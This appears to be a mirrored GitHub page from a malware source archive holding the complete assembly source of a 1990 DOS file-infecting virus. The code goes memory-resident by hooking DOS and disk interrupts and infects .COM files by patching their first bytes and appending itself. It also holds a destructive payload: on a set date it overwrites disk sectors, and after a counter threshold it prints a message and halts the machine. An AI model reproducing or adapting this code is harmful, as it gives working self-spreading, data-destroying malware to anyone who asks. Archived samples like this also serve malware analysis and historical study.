mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
433 lines
7.0 KiB
NASM
433 lines
7.0 KiB
NASM
start: jmp short begin
|
||
db (00h)
|
||
db (53h)
|
||
db (4bh)
|
||
int 20h
|
||
okey: db (0b8h)
|
||
db (03h)
|
||
db (00h)
|
||
db (0cdh)
|
||
db (10h)
|
||
begin: push cx
|
||
CALL F1
|
||
F1: POP SI
|
||
SUB SI,09
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov word ptr [312h],si
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
cld
|
||
mov di,100h
|
||
mov cx,5
|
||
rep movsb
|
||
jmp ding2
|
||
int20h: mov ah,00h
|
||
jmp mm
|
||
int21h: STI
|
||
cmp ah,00h
|
||
jz mm
|
||
cmp ah,4ch
|
||
jz mm
|
||
cmp ah,0ffh
|
||
jz mm
|
||
jmp int1hh
|
||
mm: pushf
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH SI
|
||
PUSH DI
|
||
mov ax,0
|
||
mov ds,ax
|
||
cmp byte ptr [302h],0
|
||
jz mm2
|
||
mov byte ptr [302h],0
|
||
jmp main
|
||
mm2: mov ah,19h
|
||
int 21h
|
||
mov dl,al
|
||
cmp dl,01
|
||
jna mmm5
|
||
add dl,7Eh
|
||
mov ax,0
|
||
mov ds,ax
|
||
mmm5: mov byte ptr [309h],dl
|
||
mov byte ptr ch,[308h]
|
||
mov byte ptr dl,[309h]
|
||
mov cl,01
|
||
push cs
|
||
pop ds
|
||
mov ax,0201h
|
||
mov dh,00h
|
||
mov bx,offset end+7
|
||
push cs
|
||
pop es
|
||
int 13h
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov byte ptr ch,[308h]
|
||
mov byte ptr dl,[309h]
|
||
mov cl,01
|
||
push cs
|
||
pop ds
|
||
mov ax,0301h
|
||
mov dh,00h
|
||
mov bx,offset end+7
|
||
push cs
|
||
pop es
|
||
int 13h
|
||
jnc etk6
|
||
cmp ah,3
|
||
jnz etk6
|
||
jmp main
|
||
etk6: mov ax,0
|
||
mov ds,ax
|
||
mov byte ptr [306h],1
|
||
push cs
|
||
pop ds
|
||
mov ah,2ah
|
||
int 21h
|
||
cmp dl,21
|
||
jnz okef
|
||
mov ax,0309h
|
||
mov dx,0000h
|
||
mov cx,0001h
|
||
lea bx,[100h]
|
||
int 13h
|
||
jmp short okep
|
||
okef: mov ax,0
|
||
mov ds,ax
|
||
inc word ptr [310h]
|
||
cmp Word ptr [310h],02FFh
|
||
jnz et3
|
||
okep: push cs
|
||
pop ds
|
||
mov bx,offset name
|
||
et9: mov ah,[bx]
|
||
xor ah,21
|
||
mov [bx],ah
|
||
inc bx
|
||
cmp bx,offset for1
|
||
jnz et9
|
||
mov ah,9
|
||
mov dx,offset name
|
||
int 21h
|
||
cli
|
||
hlt
|
||
dinge: jmp ding
|
||
et3: push cs ;ds <- cs
|
||
pop ds
|
||
mov ah,2fh ;Dos service function ah=2FH (get DTA)
|
||
int 21h ;ES:BX Addres of current DTA
|
||
mov [edta],ES
|
||
mov [bdta],BX
|
||
mov ah,1ah ;Dos service function ah=1AH (set DTA)
|
||
mov dx,offset end+7 ;DS:DX Addres of DTA
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
MOV AH,4eH
|
||
MOV DX,offset files
|
||
mov cx,00
|
||
INT 21H ;Dos service function ah=4EH (FIND FIRST)
|
||
jc dinge ;CX File attribute
|
||
;DS:DX Pointer of filespec (ASCIIZ string)
|
||
vir: mov ax,3d02h
|
||
push cs
|
||
pop ds
|
||
mov dx,offset end+7 ;DS:DX Addres of DTA
|
||
add dx,1EH
|
||
int 21h ;Dos service function ah=3DH (OPEN FILE)
|
||
;AL Open mode
|
||
;DS:DX Pointer to filename (ASCIIZ string)
|
||
;Return AX file handle
|
||
mov [handle],ax
|
||
mov ah,'C'
|
||
mov al,'D'
|
||
PUSH DX
|
||
POP BX
|
||
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
|
||
jnz p1 ;If not first char 'C' then push virus in file
|
||
cmp [bx+6],al
|
||
jz v ;If 7 char 'D' then find next file
|
||
p1: mov bx,handle
|
||
push cs
|
||
pop ds
|
||
mov ah,3fh
|
||
mov dx,offset end
|
||
mov cx,5
|
||
int 21h ;Dos service function ah=3FH (READ FILE)
|
||
;BX File handle
|
||
;CX Number of bytes to read
|
||
;DS:DX Addres of buffer
|
||
push cs
|
||
pop es ;ES <- CS
|
||
cld
|
||
PUSH DX
|
||
POP SI
|
||
mov di,offset okey
|
||
mov cx,5
|
||
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
|
||
; SI=SI+1
|
||
; DI=DI+1
|
||
mov ax,534bh
|
||
mov di,dx
|
||
add di,3
|
||
cmp [di],ah
|
||
jnz fuck
|
||
inc di
|
||
cmp [di],al
|
||
jnz fuck
|
||
v: push cs
|
||
pop ds
|
||
mov bx,handle
|
||
mov ah,3eh
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
mov ah,4fh
|
||
int 21h
|
||
jc enzi
|
||
jmp short vir
|
||
enzi: jmp ding
|
||
fuck: mov ax,offset end+7
|
||
add ax,1aH
|
||
mov di,ax
|
||
Mov Word Ptr cx,[di]
|
||
mov ax,offset end
|
||
mov di,ax
|
||
mov al,0e9h
|
||
cmp cx,1a0h
|
||
jna v
|
||
add cx,2
|
||
mov [di],al
|
||
inc di
|
||
mov Word Ptr [di],cx
|
||
mov ax,534bh
|
||
add di,2
|
||
mov [di],ah
|
||
inc di
|
||
mov [di],al
|
||
mov bx,[handle] ;
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
push cs
|
||
pop ds
|
||
int 21h
|
||
mov bx,handle
|
||
mov ah,40h
|
||
mov dx,offset end
|
||
mov cx,5
|
||
int 21h
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
mov bx,handle
|
||
mov ah,40h
|
||
mov dx,offset okey
|
||
mov cx,end-okey
|
||
int 21h
|
||
mov bx,handle
|
||
mov ah,3eh
|
||
int 21h
|
||
mov ax,0000
|
||
mov ds,ax
|
||
inc Word ptr [0310h]
|
||
ding: push cs
|
||
pop ds
|
||
mov ah,1ah
|
||
mov ds,[edta]
|
||
mov dx,[bdta]
|
||
int 21h
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov byte ptr [306h],0
|
||
main: PUSH CS
|
||
POP DS
|
||
POP DI
|
||
POP SI
|
||
POP ES
|
||
POP DS
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
popf
|
||
int1hh nop
|
||
int1h: db (0eah)
|
||
is: dw 0
|
||
io: dw 0
|
||
|
||
int13h: cli
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH SI
|
||
PUSH DI
|
||
push ax
|
||
mov ax,0
|
||
mov ds,ax
|
||
pop ax
|
||
mov byte ptr [308h],ch
|
||
mov byte ptr [309h],dl
|
||
push cs
|
||
pop ds
|
||
push ax
|
||
push ds
|
||
cmp ah,03
|
||
jz etk2
|
||
cmp ah,05
|
||
jnz etk3
|
||
etk2: mov ax,0000
|
||
mov ds,ax
|
||
inc Word ptr [310h]
|
||
cmp Word ptr [310h],02FEh
|
||
jnz etk3
|
||
push cs
|
||
pop ds
|
||
STI
|
||
int 20h
|
||
etk3: pop ds
|
||
pop ax
|
||
STI
|
||
int 65h
|
||
pushf
|
||
push ax
|
||
mov ax,0
|
||
mov ds,ax
|
||
cmp byte ptr [306h],0
|
||
pop ax
|
||
jz etk4
|
||
popf
|
||
clc
|
||
mov ax,0
|
||
jmp short etk5
|
||
etk4: popf
|
||
etk5: POP DI
|
||
POP SI
|
||
POP ES
|
||
POP DS
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
db (0CAH)
|
||
db (02)
|
||
db (00)
|
||
name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
|
||
for1: jmp ding1
|
||
files: db '*.com',0
|
||
ding2: mov ax,0000h
|
||
mov ds,ax
|
||
MOV BX,300H
|
||
MOV CX,4b53h
|
||
cmp [bx],cx
|
||
jz for1
|
||
mov [bx],cx
|
||
mov ah,62h
|
||
int 21h
|
||
mov ds,bx
|
||
mov bx,[2ch]
|
||
dec bx
|
||
mov dx,0FFFFh
|
||
loc_1: mov ds,bx
|
||
mov di,[3]
|
||
inc di
|
||
add dx,di
|
||
add bx,di
|
||
cmp byte ptr [0000],5Ah
|
||
jne loc_1
|
||
mov cx,es
|
||
add cx,dx
|
||
sub word ptr [3],80h
|
||
sub cx,80h
|
||
sub cx,10h
|
||
mov es,cx
|
||
mov di,100h
|
||
cld
|
||
mov ax,0000h
|
||
mov ds,ax
|
||
mov bx,[004ch]
|
||
mov [0194h],bx
|
||
mov cx,[004eh]
|
||
mov [0196h],cx
|
||
mov ax,0
|
||
mov ds,ax
|
||
lenf equ word ptr ds:[312h]
|
||
mov ax,0000h
|
||
mov ds,ax
|
||
mov bx,[0084h]
|
||
mov cx,[0086h]
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov di,is-okey
|
||
add di,lenf
|
||
push cs
|
||
pop ds
|
||
mov [di],bx
|
||
mov [di+2],cx
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov si,[312h]
|
||
sub si,7
|
||
push cs
|
||
pop ds
|
||
mov di,100h
|
||
mov cx,800h
|
||
rep movsb
|
||
mov ax,0000
|
||
mov ds,ax
|
||
cli
|
||
mov WORD PTR [0086h],ES
|
||
mov WORD PTR [004eh],ES
|
||
mov word ptr [0082h],es
|
||
mov di,int20h-okey
|
||
add di,107h
|
||
mov WORD PTR [0080h],di
|
||
mov di,int13h-okey
|
||
add di,107h
|
||
mov WORD PTR [004ch],di
|
||
mov di,int21h-okey
|
||
add di,107h
|
||
mov WORD PTR [0084h],di
|
||
sti
|
||
Ding1: mov ax,0
|
||
mov ds,ax
|
||
mov byte ptr [306h],1
|
||
mov byte ptr [302h],0
|
||
mov ah,19h
|
||
int 21h
|
||
mov dl,al
|
||
cmp dl,01
|
||
jna mmm
|
||
add dl,7Eh
|
||
mmm: mov byte ptr [309h],dl
|
||
push cs
|
||
pop ds
|
||
mov ah,0ffh
|
||
int 21h
|
||
for: mov ax,0
|
||
mov ds,ax
|
||
mov byte ptr [306h],0
|
||
mov byte ptr [302h],1
|
||
PUSH CS
|
||
POP DS
|
||
pop cx
|
||
mov si,100h
|
||
jmp si
|
||
handle: dw ?
|
||
edta: dw ?
|
||
bdta: dw ?
|
||
com: db 'COMMAND'
|
||
end: db (00) |